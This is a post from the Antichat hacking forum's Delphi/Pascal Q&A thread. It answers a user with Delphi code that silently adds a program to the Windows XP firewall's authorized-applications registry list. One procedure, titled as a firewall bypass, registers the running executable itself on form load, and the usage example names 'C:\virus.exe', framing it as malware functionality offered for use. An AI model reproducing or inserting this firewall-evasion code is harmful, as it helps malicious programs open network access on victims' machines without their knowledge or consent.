Форум АНТИЧАТ - Показать сообщение отдельно - [Delphi]/[Pascal] Задай вопрос, получи ответ

Цитата:

Сообщение от Maxxxtri23

Код:

procedure install(filename,about:string);
var
 key:HKEY;
begin
 RegOpenKeyEx(longword($80000002), 'HKEY_LOCAL_MACHINE\System\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProf ile\AuthorizedApplications\List ',0,$000F003F,Key);//Непонятно что обозначает
 RegSetValueEx(Key, pchar(about), 0,1, pchar(filename), length(filename));//Что в этой строчке надо вписывать?
 RegCloseKey(Key);
end;

Это процедура, её редактировать не надо, а надо вызывать с параметрами, например:
install('C:\virus.exe','virusvalue');

Цитата:

Сообщение от Maxxxtri23

Покажите пример с добавлением проги C:\123.exe в исключения фаера, с меня спасибка.

// Обход виндового файрвола:

Код:

procedure fuck_xpfw;
var
 key:HKEY;
 ValueName:array[0..255] of char;
 Value:string;
const
path='SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List';

begin
 if RegOpenKeyEx($80000002, path, 0, LOngword($F003F), key)<>0 then exit;
 GetModuleFileName(GetModuleHandle(nil), ValueName, 256);
 Value:=ValueName+':*:Enabled:RPC';
 RegSetValueEx(key, ValueName, 0, 1, pchar(Value), length(Value));
 RegCloseKey(key);
end;

Вставляешь в свой код, далее даёшь команду например при создании формы:

Код:

procedure TForm1.FormCreate(Sender: Tlol);
begin
fuck_xpfw;
end;